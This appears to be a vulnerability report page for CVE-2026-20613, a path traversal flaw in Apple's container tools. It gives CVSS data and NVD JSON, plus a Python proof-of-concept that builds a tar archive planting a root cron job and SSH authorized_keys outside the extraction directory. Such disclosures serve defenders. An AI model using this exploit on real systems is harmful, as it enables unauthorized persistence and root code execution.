Security Vulnerability Report
中文
CVE-2026-20613 CVSS 7.8 HIGH

CVE-2026-20613

Published: 2026-01-23 00:15:52
Last Modified: 2026-01-27 20:17:18

Description

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apple:container:*:*:*:*:*:swift:*:* - VULNERABLE
cpe:2.3:a:apple:containerization:*:*:*:*:*:swift:*:* - VULNERABLE
Apple container < 0.8.0
Apple containerization < 0.21.0
cctl image load (所有受影响版本)
container image load (所有受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-20613 PoC - Path Traversal in ArchiveReader.extractContents() # Generate a malicious tar archive with path traversal filenames import tarfile import os def create_malicious_archive(output_path): """Create a tar archive with path traversal payloads""" malicious_files = [ # Path traversal to write to /tmp ("../../../../tmp/pwned_by_cve_2026_20613", "Malicious file created via path traversal"), # Path traversal to write to home directory ("../../../../home/../../../etc/cron.d/malicious_cron", "* * * * * root /tmp/pwned_by_cve_2026_20613\n"), # Path traversal to write SSH authorized_keys ("../../../../home/user/.ssh/authorized_keys", "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7..."), ] with tarfile.open(output_path, "w") as tar: for filename, content in malicious_files: # Create file-like object in memory import io file_data = io.BytesIO(content.encode('utf-8')) # Add file with path traversal name tarinfo = tarfile.TarInfo(name=filename) tarinfo.size = len(content) tar.addfile(tarinfo, file_data) print(f"[+] Malicious archive created: {output_path}") print(f"[+] Contains {len(malicious_files)} path traversal entries") def verify_archive_entries(archive_path): """Verify the contents of the malicious archive""" with tarfile.open(archive_path, "r") as tar: print("\n[+] Archive contents:") for member in tar.getmembers(): print(f" - {member.name}") if __name__ == "__main__": output_file = "malicious_container_image.tar" create_malicious_archive(output_file) verify_archive_entries(output_file) print("\n[!] Usage: cctl image load malicious_container_image.tar") print("[!] This will extract files outside the intended directory")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20613", "sourceIdentifier": "[email protected]", "published": "2026-01-23T00:15:52.283", "lastModified": "2026-01-27T20:17:18.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0."}, {"lang": "es", "value": "La función ArchiveReader.extractContents() utilizada por cctl image load y contenedor image load no realiza ninguna validación de rutas antes de extraer un miembro del archivo. Esto significa que un archivo construido de forma descuidada o maliciosa puede extraer un archivo en cualquier ubicación escribible por el usuario en el sistema utilizando rutas relativas. Este problema se aborda en contenedor 0.8.0 y containerization 0.21.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:container:*:*:*:*:*:swift:*:*", "versionEndExcluding": "0.8.0", "matchCriteriaId": "C6FA03D6-D8FD-484D-ABC3-C4E06F004E9B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apple:containerization:*:*:*:*:*:swift:*:*", "versionEndExcluding": "0.21.0", "matchCriteriaId": "1FE4C5FD-62B9-4CCC-90EA-065CDF156FFD"}]}]}], "references": [{"url": "https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}